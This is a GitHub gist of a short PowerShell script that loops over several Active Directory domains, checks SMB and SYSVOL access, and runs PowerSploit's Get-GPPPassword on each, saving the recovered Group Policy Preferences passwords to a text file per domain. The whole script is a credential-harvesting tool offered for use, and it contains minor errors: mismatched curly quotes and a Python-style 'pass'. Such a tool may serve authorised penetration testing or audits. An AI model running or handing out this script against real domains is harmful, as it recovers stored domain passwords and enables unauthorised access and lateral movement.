Created
April 4, 2019 12:32
-
-
Save Dviros/7ec4881a47beb4a9c4f7ba9d90e92edf to your computer and use it in GitHub Desktop.
Quick and dirty AD query script, in use for multi AD environments. This script utilizes Powersploit's GPPPassword tool (Chris Campbell, obscuresec) to run.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Quick and dirty AD query script, in use for multi AD environments. | |
# This script utilizes Powersploit's GPPPassword tool (Chris Campbell, obscuresec) to run. | |
############################################################################################################## | |
$domains = ("Domain1”,”Domain2”) | |
Import-Module PATH_TO_FILE\Get-GPPPassword.ps1 | |
foreach ($domain in $domains){ | |
Write-Host "Testing SMB Connectivity to" $domain | |
try{ | |
Test-NetConnection -ComputerName $domain -CommonTCPPort SMB -ErrorAction Stop -WarningAction Stop -InformationAction Continue | |
Write-Host "Checking if SYSVOL is available.." | |
if ((Test-Path \\$domain\SYSVOL) -eq $true){ | |
Write-Host "Now querying" $domain | |
Get-GPPPassword -server $domain | Out-File PATH_TO_FILE\$domain.txt -Append -Encoding utf8 | |
} | |
else { | |
pass | |
} | |
} | |
catch{ | |
pass | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment